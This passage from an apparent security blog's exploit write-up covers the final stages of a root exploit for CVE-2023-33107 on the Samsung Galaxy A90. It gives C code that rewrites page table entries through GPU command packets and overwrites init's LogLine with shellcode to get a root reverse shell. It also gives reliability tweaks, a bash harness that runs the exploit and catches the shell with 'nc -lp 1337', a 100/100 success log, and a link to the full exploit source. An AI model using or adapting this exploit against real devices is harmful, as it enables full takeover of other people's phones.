            <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span><span class="s">"PFN corrupted!!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
            <span class="n">gb_target_addr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">addr</span><span class="p">;</span>
     <span class="p">...</span>
     
</code></pre></div></div>

<ol>
  <li>Allocate the <code class="language-plaintext highlighter-rouge">libbase.so</code> shared library starting from the 0x10th PTE of that page table. (At this time, the code region of <code class="language-plaintext highlighter-rouge">LogLine</code> in libbase.so exists at <code class="language-plaintext highlighter-rouge">0x130</code> offset in that page table.)</li>
  <li>Extract only the PFN from the PTE at 0x130 offset and put it into the 1st PTE. (Using GPU read/write)</li>
</ol>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">uint64_t</span> <span class="n">orig</span> <span class="o">=</span>  <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)((</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)</span><span class="n">dump_vma</span> <span class="o">+</span> <span class="mi">8</span><span class="o">*</span><span class="n">sig_num</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
  <span class="kt">uint64_t</span> <span class="n">pte1</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)((</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)</span><span class="n">dump_vma</span> <span class="o">+</span> <span class="mi">8</span><span class="o">*</span><span class="n">sig_num</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
  <span class="kt">uint64_t</span> <span class="n">src</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)((</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)</span><span class="n">dump_vma</span> <span class="o">+</span> <span class="mh">0x130</span><span class="p">);</span>

  <span class="k">const</span> <span class="kt">uint64_t</span> <span class="n">PFN_MASK</span> <span class="o">=</span> <span class="n">PHYS_MASK</span> <span class="o">&amp;</span> <span class="n">PAGE_MASK</span><span class="p">;</span>
  <span class="kt">uint64_t</span> <span class="n">orig_pfn</span> <span class="o">=</span> <span class="n">orig</span> <span class="o">&amp;</span> <span class="n">PFN_MASK</span><span class="p">;</span>
  <span class="kt">uint64_t</span> <span class="n">pte1_pfn</span> <span class="o">=</span> <span class="n">pte1</span> <span class="o">&amp;</span> <span class="n">PFN_MASK</span><span class="p">;</span>
  <span class="kt">uint64_t</span> <span class="n">src_pfn</span> <span class="o">=</span> <span class="n">src</span> <span class="o">&amp;</span> <span class="n">PFN_MASK</span><span class="p">;</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">src_pfn</span> <span class="o">==</span> <span class="mi">0</span><span class="p">){</span>
      <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span>
              <span class="s">"       [!] Skip patch: src PFN at 0x130 is empty VA : 0x%llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
              <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">long</span><span class="p">)</span><span class="n">va</span><span class="p">);</span>
      <span class="k">continue</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="kt">uint64_t</span> <span class="n">new_pte</span> <span class="o">=</span> <span class="p">(</span><span class="n">orig</span> <span class="o">&amp;</span> <span class="o">~</span><span class="n">PFN_MASK</span><span class="p">)</span> <span class="o">|</span> <span class="n">src_pfn</span><span class="p">;</span>
  <span class="kt">uint64_t</span> <span class="n">copied_pfn</span> <span class="o">=</span> <span class="n">src_pfn</span><span class="p">;</span>
  <span class="n">cmd</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span> <span class="o">*</span><span class="p">)</span><span class="n">ib_vma2</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o">&lt;</span><span class="mi">4</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
      <span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">cp_type7_packet</span><span class="p">(</span><span class="n">CP_NOP</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="n">split64</span><span class="p">(</span><span class="n">va</span><span class="o">+</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">sig_num</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">*</span><span class="mi">8</span> <span class="p">,</span><span class="o">&amp;</span><span class="n">d_lo</span><span class="p">,</span><span class="o">&amp;</span><span class="n">d_hi</span><span class="p">);</span>
  <span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">cp_type7_packet</span><span class="p">(</span><span class="n">CP_MEM_WRITE</span><span class="p">,</span><span class="mi">3</span><span class="p">);</span>
  <span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">d_lo</span><span class="p">;</span>

  <span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">d_hi</span><span class="p">;</span>
  <span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span> <span class="p">(</span><span class="n">new_pte</span> <span class="o">&amp;</span> <span class="mh">0xffffffffu</span><span class="p">);</span>

  <span class="n">split64</span><span class="p">(</span><span class="n">va</span><span class="o">+</span><span class="mi">4</span><span class="o">+</span><span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">sig_num</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">*</span><span class="mi">8</span> <span class="p">,</span> <span class="o">&amp;</span><span class="n">d_lo</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">d_hi</span><span class="p">);</span>
  <span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">cp_type7_packet</span><span class="p">(</span><span class="n">CP_MEM_WRITE</span><span class="p">,</span><span class="mi">3</span><span class="p">);</span>
  <span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">d_lo</span><span class="p">;</span>
  <span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">d_hi</span><span class="p">;</span>
  <span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)(</span><span class="n">new_pte</span> <span class="o">&gt;&gt;</span><span class="mi">32</span><span class="p">);</span>
  <span class="p">...</span>

  <span class="k">if</span><span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="n">IOCTL_KGSL_GPU_COMMAND</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">c</span><span class="p">)</span><span class="o">==</span><span class="mi">0</span>
</code></pre></div></div>

<h3 id="stage-4-shellcode-injection--trigger--recover"><strong>Stage 4: Shellcode Injection &amp; Trigger &amp; Recover</strong></h3>

<ol>
  <li>Using the 1st PTE, insert <code class="language-plaintext highlighter-rouge">shellcode</code> into the code address corresponding to <code class="language-plaintext highlighter-rouge">LogLine</code>. <code class="language-plaintext highlighter-rouge">read(fd_shellcode,(void *)(gb_target_addr+PAGE_SIZE + 0x2d4),287)</code></li>
  <li>Trigger the preliminary orphan process (<code class="language-plaintext highlighter-rouge">child2</code>) prepared in Stage 1, making it an orphan process so that it gets reparented with init as its parent. (code is in Stage 2-1)</li>
  <li>After <code class="language-plaintext highlighter-rouge">child2</code> terminates, a <code class="language-plaintext highlighter-rouge">SIGCHLD</code> signal occurs, and <code class="language-plaintext highlighter-rouge">LogLine</code> is called in <code class="language-plaintext highlighter-rouge">init</code>’s signal handler.</li>
  <li>Since the <code class="language-plaintext highlighter-rouge">LogLine</code> function code has been <strong>overwritten</strong> with the <code class="language-plaintext highlighter-rouge">shellcode</code>, execution flow is hijacked, resulting in a <strong>reverse shell</strong> (root privileges).</li>
  <li>After waiting for time for the <code class="language-plaintext highlighter-rouge">shellcode</code> to execute, restore the original LogLine with <code class="language-plaintext highlighter-rouge">read(fd_recover,(void *)(gb_target_addr+PAGE_SIZE+0x2d4),287)</code>.</li>
  <li>Call <code class="language-plaintext highlighter-rouge">recover_origin</code> to restore that PTE with the 1st PTE value that was backed up in Stage 3. (Using GPU read/write)</li>
</ol>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">...</span>
<span class="n">split64</span><span class="p">(</span><span class="n">base</span><span class="o">+</span><span class="mi">8</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">d_lo</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">d_hi</span><span class="p">);</span>
<span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">cp_type7_packet</span><span class="p">(</span><span class="n">CP_MEM_WRITE</span><span class="p">,</span> <span class="mi">3</span><span class="p">);</span>
<span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">d_lo</span><span class="p">;</span>
<span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">d_hi</span><span class="p">;</span>
<span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)(</span><span class="n">orig_pte0</span> <span class="o">&amp;</span> <span class="mh">0xffffffffu</span><span class="p">);</span>

<span class="n">split64</span><span class="p">(</span><span class="n">base</span> <span class="o">+</span> <span class="mi">12</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">d_lo</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">d_hi</span><span class="p">);</span>
<span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">cp_type7_packet</span><span class="p">(</span><span class="n">CP_MEM_WRITE</span><span class="p">,</span> <span class="mi">3</span><span class="p">);</span>
<span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">d_lo</span><span class="p">;</span>
<span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">d_hi</span><span class="p">;</span>
<span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)(</span><span class="n">orig_pte0</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="p">);</span>
<span class="p">...</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">IOCTL_KGSL_GPU_COMMAND</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">c</span><span class="p">)</span>
</code></pre></div></div>

<ol>
  <li>Finally, <strong>perform cleanup operations</strong> by calling <code class="language-plaintext highlighter-rouge">IOCTL_KGSL_GPUOBJ_FREE</code>, <code class="language-plaintext highlighter-rouge">munmap</code>, and <code class="language-plaintext highlighter-rouge">close</code>.</li>
</ol>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">kgsl_gpuobj_free</span> <span class="n">free_req</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ph_id</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">free_req</span><span class="p">.</span><span class="n">id</span> <span class="o">=</span> <span class="n">ph_id</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">IOCTL_KGSL_GPUOBJ_FREE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">free_req</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">overlap_id</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">free_req</span><span class="p">.</span><span class="n">id</span> <span class="o">=</span> <span class="n">overlap_id</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">IOCTL_KGSL_GPUOBJ_FREE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">free_req</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">uaf_id</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">free_req</span><span class="p">.</span><span class="n">id</span> <span class="o">=</span> <span class="n">uaf_id</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">IOCTL_KGSL_GPUOBJ_FREE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">free_req</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="p">}</span>

<span class="k">if</span> <span class="p">(</span><span class="n">overlap_vma</span> <span class="o">&amp;&amp;</span> <span class="n">overlap_vma</span> <span class="o">!=</span> <span class="n">MAP_FAILED</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">munmap</span><span class="p">(</span><span class="n">overlap_vma</span><span class="p">,</span> <span class="n">overlap_mmapsize</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ph_vma</span> <span class="o">&amp;&amp;</span> <span class="n">ph_vma</span> <span class="o">!=</span> <span class="n">MAP_FAILED</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">munmap</span><span class="p">(</span><span class="n">ph_vma</span><span class="p">,</span> <span class="n">ph_mmapsize</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">bogus_vma</span> <span class="o">&amp;&amp;</span> <span class="n">bogus_vma</span> <span class="o">!=</span> <span class="n">MAP_FAILED</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">munmap</span><span class="p">(</span><span class="n">bogus_vma</span><span class="p">,</span> <span class="n">PAGE_SIZE</span> <span class="o">*</span> <span class="mi">3</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<h1 id="5-reliability--tweak">5) Reliability &amp; tweak</h1>

<h3 id="issue-pfn-manipulation-after-mmap-spray-write-back">Issue: PFN manipulation after mmap spray (Write-Back)</h3>

<ol>
  <li>After the mmap spray, while reading the PTEs of the discovered page table, the PTE value for the memory region where <code class="language-plaintext highlighter-rouge">libbase.so</code> was mapped occasionally appeared as 0.</li>
  <li>I initially suspected that the “touch” operation was being optimized away by the compiler, preventing the page fault from occurring. I changed the access to use <code class="language-plaintext highlighter-rouge">volatile</code>, but it still failed probabilistically.</li>
  <li>Consequently, I dumped the entire page table and observed a situation where some parts were allocated while others remained unallocated.</li>
  <li>I suspected that the combination of page #1 being in a corrupted state and the <code class="language-plaintext highlighter-rouge">sig_num</code> pages (1, 3, 5, 7, 9) being non-contiguous might be causing this issue. Therefore, I proceeded to allocate pages 0, 2, 4, 6, and 8 as well, and then performed a dump.</li>
  <li>Upon failure, the dump revealed that pages 0, 2, 4, 6 formed one coherent block (either allocated together or zeroed together), while page 8 was isolated as a separate block, each showing either allocated or zeroed state independently.</li>
  <li>At this point, I strongly sensed that the allocation/zero status was being divided in units of <strong>0x40 bytes</strong>.</li>
  <li>I recalled that <strong>0x40 is the size of a cache line</strong> and that when I perform a dump, the <strong>GPU (DMA) accesses the RAM directly</strong>. This explained why, despite the page fault definitely occurring (on the CPU), the data in the actual page table (RAM) appeared as zeros in 0x40 byte units (due to cache incoherency).</li>
  <li>Since the target was a kernel address, I could not easily use <code class="language-plaintext highlighter-rouge">clear_cache</code>. Instead, I simply added a <code class="language-plaintext highlighter-rouge">sleep</code> call to induce context switching, expecting the data in the cache to be flushed (written back) to RAM.</li>
  <li>Subsequently, the issue was resolved with a near 100% success rate.</li>
</ol>

<h3 id="issue-task_struct-not-found">Issue: <code class="language-plaintext highlighter-rouge">task_struct</code> Not Found</h3>

<ol>
  <li>There were instances where the <code class="language-plaintext highlighter-rouge">task_struct</code> from the <code class="language-plaintext highlighter-rouge">fork</code> spray could not be located, even after scanning all pages within the UAF region. This phenomenon occurred consistently when repeated attempts were made without a system reboot.</li>
  <li>Initially, I suspected a cleanup failure was the cause. I rigorously performed <code class="language-plaintext highlighter-rouge">munmap</code> and <code class="language-plaintext highlighter-rouge">close</code> operations on KGSL-related resources and file descriptors before returning, but this yielded no significant improvement. Even implementing a retry logic to restart the process upon failure resulted in the same “not found” error repeatedly.</li>
  <li>I hypothesized that the root cause lay in the slab allocator’s behavior. Since the sprayed <code class="language-plaintext highlighter-rouge">task_struct</code> objects are freed at the end of an attempt, a subsequent exploit run simply reuses these recently freed slab cache objects (recycling) rather than allocating a fresh page that corresponds to the UAF-controlled IOMMU region.</li>
  <li>To overcome this, I implemented a dynamic spray strategy: the spray count is incremented by 2,000 upon each failure. This ensures that the allocation demand eventually exceeds the size of the previously freed cache, forcing the allocator to fetch new pages, including the target UAF page.</li>
  <li>While it would have been more efficient to persist the spray count from the previous run, I considered it architecturally unsound to design an exploit that relies on the state of a prior execution. Therefore, I opted for a stateless approach that increments from the initial value upon every failure, prioritizing reliability and correctness over speed.</li>
</ol>

<h3 id="issue-intermittent-kernel-panic-root-cause-unknown">Issue: Intermittent Kernel Panic (Root Cause Unknown)</h3>

<p><code class="language-plaintext highlighter-rouge">/proc/last_kmsg: &lt;10&gt;[ 426.359341] [0: init:19811] init: ���</code></p>

<ol>
  <li>The panic likely occurred when <code class="language-plaintext highlighter-rouge">Logline()</code> was invoked during an inopportune moment—either while being overwritten with shellcode or during restoration. The corrupted output suggests <code class="language-plaintext highlighter-rouge">Logline()</code> was called while in a partially modified state.</li>
  <li>Eliminated all orphan processes except the intentionally created one used to trigger <code class="language-plaintext highlighter-rouge">Logline()</code>and, this reduced unintended <code class="language-plaintext highlighter-rouge">Logline()</code> invocations</li>
  <li>Removing Previously used <code class="language-plaintext highlighter-rouge">__builtin___clear_cache()</code> after overwriting <code class="language-plaintext highlighter-rouge">Logline()</code> reduced panic rate (mechanism unclear)</li>
  <li>Fine-tuned various timing parameters including <code class="language-plaintext highlighter-rouge">sleep()</code> durations within the exploit and shell termination timing on the reverse shell receiver side, where even minor changes (e.g., only removing <code class="language-plaintext highlighter-rouge">echo "ps -ef | grep init"</code> from test code) could disrupt timing and cause zombie processes.</li>
</ol>

<p><strong>Results</strong></p>

<p><strong>Before fixes:</strong> 5% panic rate</p>

<p><strong>After fixes:</strong> &lt;1% panic rate</p>

<p><strong>Limitations</strong></p>

<p>The root cause remains unidentified. These are empirical workarounds rather than principled solutions. The exploit is now sufficiently stable for practical use, though the underlying race condition is not fully understood.</p>

<h3 id="reliability-test-code">Reliability test code</h3>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#!/bin/bash
</span><span class="n">adb</span> <span class="n">push</span> <span class="p">.</span><span class="o">/</span><span class="n">exploit</span> <span class="o">/</span><span class="n">data</span><span class="o">/</span><span class="n">local</span><span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">ex_test</span>
<span class="n">sleep</span> <span class="mi">1</span>
<span class="n">adb</span> <span class="n">shell</span> <span class="s">"chmod +x /data/local/tmp/ex_test"</span>
<span class="n">echo</span> <span class="s">"start"</span> <span class="o">&gt;</span> <span class="n">out</span><span class="p">.</span><span class="n">txt</span>
<span class="k">for</span> <span class="n">j</span> <span class="n">in</span> <span class="p">{</span><span class="mi">1</span><span class="p">..</span><span class="mi">10</span><span class="p">};</span> <span class="k">do</span>
        <span class="k">for</span> <span class="n">i</span> <span class="n">in</span> <span class="p">{</span><span class="mi">1</span><span class="p">..</span><span class="mi">10</span><span class="p">};</span> <span class="k">do</span>
                <span class="n">echo</span> <span class="s">"$j:$i"</span> <span class="o">&gt;&gt;</span> <span class="n">out</span><span class="p">.</span><span class="n">txt</span>
                <span class="n">adb</span> <span class="n">shell</span> <span class="o">/</span><span class="n">data</span><span class="o">/</span><span class="n">local</span><span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">ex_test</span> <span class="o">&amp;</span>

                <span class="p">(</span>
                        <span class="n">echo</span> <span class="s">"id"</span><span class="p">;</span>
                        <span class="n">echo</span> <span class="s">"ps -ef | grep '0 sh'"</span><span class="p">;</span>
                        <span class="n">echo</span> <span class="s">"ps -ef | grep init"</span><span class="p">;</span>
                        <span class="n">echo</span> <span class="s">"exit"</span>
                <span class="p">)</span> <span class="o">|</span> <span class="n">adb</span> <span class="n">shell</span> <span class="s">"nc -lp 1337"</span> <span class="o">&gt;&gt;</span> <span class="n">out</span><span class="p">.</span><span class="n">txt</span>

                <span class="n">sleep</span> <span class="mi">6</span>
        <span class="n">done</span>
        <span class="n">adb</span> <span class="n">reboot</span>
        <span class="n">echo</span> <span class="s">"reboot"</span>
        <span class="n">sleep</span> <span class="mi">100</span>
<span class="n">done</span>
<span class="n">echo</span> <span class="s">"All compltete"</span>
<span class="n">awk</span> <span class="err">'</span>
<span class="o">/^</span><span class="p">[</span><span class="mi">0</span><span class="o">-</span><span class="mi">9</span><span class="p">]</span><span class="o">+:</span><span class="p">[</span><span class="mi">0</span><span class="o">-</span><span class="mi">9</span><span class="p">]</span><span class="o">+</span><span class="err">$</span><span class="o">/</span> <span class="p">{</span> <span class="n">t</span><span class="o">++</span> <span class="p">}</span>           
<span class="o">/^</span><span class="n">uid</span><span class="o">=</span><span class="mi">0</span><span class="err">\</span><span class="p">(</span><span class="n">root</span><span class="err">\</span><span class="p">)</span><span class="o">/</span> <span class="p">{</span> <span class="n">s</span><span class="o">++</span> <span class="p">}</span>            
<span class="n">END</span> <span class="p">{</span>                             
    <span class="k">if</span> <span class="p">(</span><span class="n">t</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span>
        <span class="n">printf</span> <span class="s">"success=%d total=%d prob=%.4f</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span> <span class="n">t</span><span class="p">,</span> <span class="n">s</span> <span class="o">/</span> <span class="n">t</span>
    <span class="k">else</span>
        <span class="n">print</span> <span class="s">"success=0 total=0 prob=0"</span>
<span class="p">}</span>
<span class="err">'</span> <span class="n">out</span><span class="p">.</span><span class="n">txt</span>
</code></pre></div></div>

<p><strong>Result</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">All</span> <span class="n">compltete</span>
<span class="n">success</span><span class="o">=</span><span class="mi">100</span> <span class="n">total</span><span class="o">=</span><span class="mi">100</span> <span class="n">prob</span><span class="o">=</span><span class="mi">1</span><span class="p">.</span><span class="mo">0000</span>
</code></pre></div></div>

<p><a href="/assets/notion/20260211-185400/cve-writeup/out.txt">out.txt</a></p>

<h1 id="6-video--exp">6) video &amp; exp</h1>

<p><strong>video</strong></p>

<p><a href="https://github.com/keto0422/CVE-2023-33107">video</a></p>

<p><strong>Exploit code</strong></p>

<p><a href="https://github.com/keto0422/CVE-2023-33107/blob/main/ex.c">ex.c</a></p>

<h1 id="7-reference">7) Reference</h1>

<p><a href="https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2023/CVE-2023-33107.html">https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2023/CVE-2023-33107.html</a></p>

<p><a href="https://i.blackhat.com/BH-US-23/Presentations/US-23-Lin-bad_io_uring-wp.pdf">https://i.blackhat.com/BH-US-23/Presentations/US-23-Lin-bad_io_uring-wp.pdf</a></p>

<p><a href="https://blackhat.com/docs/us-17/thursday/us-17-Shen-Defeating-Samsung-KNOX-With-Zero-Privilege.pdf">https://blackhat.com/docs/us-17/thursday/us-17-Shen-Defeating-Samsung-KNOX-With-Zero-Privilege.pdf</a></p>

<p><a href="https://soez.github.io/posts/CVE-2022-22265-Samsung-npu-driver/">https://soez.github.io/posts/CVE-2022-22265-Samsung-npu-driver/</a></p>]]></content><author><name>Keto</name></author><category term="1-day" /><category term="exploit" /><category term="cve" /><summary type="html"><![CDATA[Galaxy A90 Full Exploit (CVE-2023-33107)]]></summary></entry></feed>